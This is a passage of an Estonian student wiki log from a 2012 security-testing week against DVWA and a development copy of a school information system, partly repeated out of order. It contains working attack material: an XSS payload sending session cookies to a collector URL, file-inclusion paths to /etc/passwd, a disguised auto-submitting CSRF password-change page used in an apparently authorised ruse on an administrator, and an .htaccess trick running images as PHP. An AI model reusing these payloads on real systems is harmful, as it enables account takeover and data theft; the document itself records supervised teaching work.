<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida ei saa näiteks järgnevates formaatides faile:</li>
.htaccess
.php .html .pdf
.gif .png .bmp
.svg .swf
.tif .tiff .exif
.raw .cgm
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
<li>Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br>
Faile saab alla laadida enda profiili all õppesooritustes.<br>
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.<br>
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.<br>
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br>
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br>
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.<br>

=== Urmo tegevus ===
====Subgraph Vega ====
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.
Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.

[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.

Alustasime uut skänni (Start New Scan).
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.

Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.

Me lisasime ainult küpsise (cookie) sisu:
<pre>
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
</pre>
ning Finish.

[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).

Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.

Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.

Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades.
Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.

ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.

==== Wapiti ====
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti.
(Koduleht: http://wapiti.sourceforge.net/)

Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS'iga midagi teha.

==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====
=====1. katse - ÕISi keskkkonna keelevahetus =====
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]

Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.

Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili.
Koristasime mittevajaliku disaini koodi juurest ära.
Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks.
Panime koodi enose veebiserverisse üles nimega ois.html.

Faili sisu:
<source lang="html4strict">
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198"
enctype="application/x-www-form-urlencoded">
<input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
<br>
<input type="submit" value="Salvesta seaded" name="Savesettings">
</form>
</source>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.

Katsetas koodi enda konto peal Taavi.

=====2. katse - ÕIS'i kasutaja parooli muutmine =====

[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.

Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.

Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.

Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.

Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.

Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist.
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.

Lisasime CSS koodi Submit nupu ära peitmiseks.
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.

Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.

Faili sisu:
<source lang="html4strict">
<html>
<head>
<style type="text/css">
#Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
</style>
</head>
<body>
<body onload="document.forms.setPasswordForm.submit();">
<form name="setPasswordForm" id="setPasswordForm"
action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout"
method="post">
<input type="hidden" name="user_id" value="2227" id="user_id" />
<input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
<input type="hidden" name="password" id="password" value="test123" />
<input type="hidden" name="password_check" id="password_check" value="test123" />
<input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
</form>
</body>
</html>
</source>

[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]

Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
<pre>
AddType application/x-httpd-php .php .jpg
</pre>

Laadisime mõlemad failid Enose veebiserverisse avalikult.

Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki.
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle.
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail.
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja.
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole.
Rünnak oli edukas.
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]

Andsime teada Valterile teada, et tegelikult tegime salajase ründe.
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha.
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.

Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.

=== Taavi tegevus ===
===Burp suite===

Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br>
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)<br>
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .<br>
Ohvri valimine <br>
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.<br>
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.<br>
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.<br>site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.<br>
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.<br>
Spideringi sisselülitamine <br>
Valida tab Spide ning sealt panna linnuke kasti spider running.<br>
Ning oledki valmis saama laheküljelt infot.<br>
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.<br>
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.

==Nessuse algkäivitamine==
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br>
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br>
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.<br>
Järgnevalt valida nessus start.<br>
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br>
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.

=== Matise tegevus ===
==Väike upload tegevus, mis võiks olla teisiti==
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.
Proovisime üles laadida:
<li>filme
<li>exe
<li>jpm faile
<br>kõik läks läbi ja sai uploaditud
Sellises kohas võiks olla süsteem tehtud whitelisti põhimõttel,
<br>et lubatud oleks ainult:
<li>.doc
<li>.docx
<li>.pdf
<br>Näiteks sellised failid ja kõik ülejäänud oleksid keelatud.

=== Sanderi tegevus ===
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]
Backtarcki keskkonnas sai testitud programmi w3af.

==== Backtrack: w3af ====
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]
Võimalik kätte saada SSL Certificate.
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?
username=<font color="red">KASUTAJANIMI</font>&continue=&Login=Logi sisse&pw=<font color="red">PAROOL</font>
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication:
basicAuthUser: <font color="red">KASUTAJANIMI</font>
basicAuthPass: <font color="red">PAROOL</font>
basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies
cookieJarFile: /root/Desktop/<font color="red">ois_cookie.txt</font>
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File
.dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID <font color="red">870aqllryuw3cmf6cv8ellha03</font>
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable.
flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
This value is set automatically by the browser, depending on the value you set for domain.
path - The path within the domain that the variable is valid for.
secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.
expiration - The UNIX time that the variable will expire on.
name - The name of the variable.
value - The value of the variable.
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:
Edit -> Preferences -> Privacy -> History -> remove individual cookies
Search: itcollege.dev.ois.ee
Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID

Skänneerimine:
<ul>
<li>The page language is: en</li>
<li>The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.</li>
<li>A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".</li>
<li>Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login".</li>
The username field to be used is: "username".
The password field to be used is: "pw".
<li><font color="red">Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666</font></li>
Antud kasutaja ja parooliga sisse ei saanud.
<li>The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification.</li>
Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
<li>The URL: "https://itcollege.dev.ois.ee/" sent these cookies:</li>
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
<li>The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused".</li>
Kui tuleb see veateade, siis skänn katkeb.
<li><font color="red">The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):</font></li>
The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
<li><font color="red">SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST.</font></li>
The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.".
The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
<li>Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt</li>
User-agent: *
Disallow: /
Allow: /curriculum
Allow: /subject
Allow: /diploma
Allow: /schedule/ical
</ul>

== 4. päev - Presentatsiooni tegemine ja esitlemine ==

Koostasime presentatsiooni ja esitlemine.

[[Media:Security_team_presentation.ppt]]

== Arvamused intensiivõppe nädala kohta ==

== Tegijad ==
Alo Konno A21

Urmo Lihten A21

Taavi Podžuks A22

Matis Alliksoo A22

Sander Saarm A22

== Juhendajad ==
Mart Mangus

Margus Ernits

Valter Kungla

Security team

2012-03-30T11:32:12Z

Mallikso: /* Väike upload tegevus, mis võiks olla teisiti */

== 1. päev - Materjalidega tutvumine ==

<h1>POOLELI!</h1>

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br>
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br>
Taavi esitlus [[Meida: A9.pdf]] <br>
Taavi esitlus [[Meida: A5.pdf]] <br>
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br>

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==
===Security Team tegevusplaan===
1. Päev
1.1 Tutvuda OWASP’iga.
1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.
2. Päev
2.1 Esitada tiimi tegevusplaan.
2.2 Tutvuda turvariskidega natuke põhjalikumalt.
2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
2.4 Täiendada esimese päeva ettekannet.
3. Päev
3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
3.2 Saadud tulemuste dokumenteerimine.
4. Päev
4.1 Saadud tulemuste esitlemine ettekandega
5. Päev
5.1 Tulemuste parandamine wiki’s.

=== Alo tegevus ===

http://www.acunetix.com/support/vulnerability-checks.htm
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting
http://www.youtube.com/watch?v=SG1cvGQ971g
http://www.isecom.org/research.html
http://evuln.com/tools/
http://sectools.org/tag/web-scanners/
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/
http://www.acunetix.com/vulnerability-scanner/getting-started.htm

Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:
Acunetix Web Vulnerability Scanner v. 8
http://www.acunetix.com/vulnerability-scanner/

Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.
Antud programm võimaldab skännida:
Cross-Site Scripting (XSS)
SQL Injection (blind test)
File inclusion
Code Execution
LDAP Injection
Cross Frame Scripting
SQL Injection (error msg. test)
CRLF Injection
Directory Travelsal
XPath Injection
URL Redirection
Application Error Message

Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

===== Fireforce plugin Firefoxis =====
Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .

Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud.
Selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse.
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada.
Päringute tegemise kiirus vähem kui 1 päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.
Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

===== Burpsuite v1.4 =====
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI'st]]

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
[[Image:Xsstesting.jpg|Location="left"|Caption|]]
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida ei saa näiteks järgnevates formaatides faile:</li>
.htaccess
.php .html .pdf
.gif .png .bmp
.svg .swf
.tif .tiff .exif
.raw .cgm
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
<li>Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
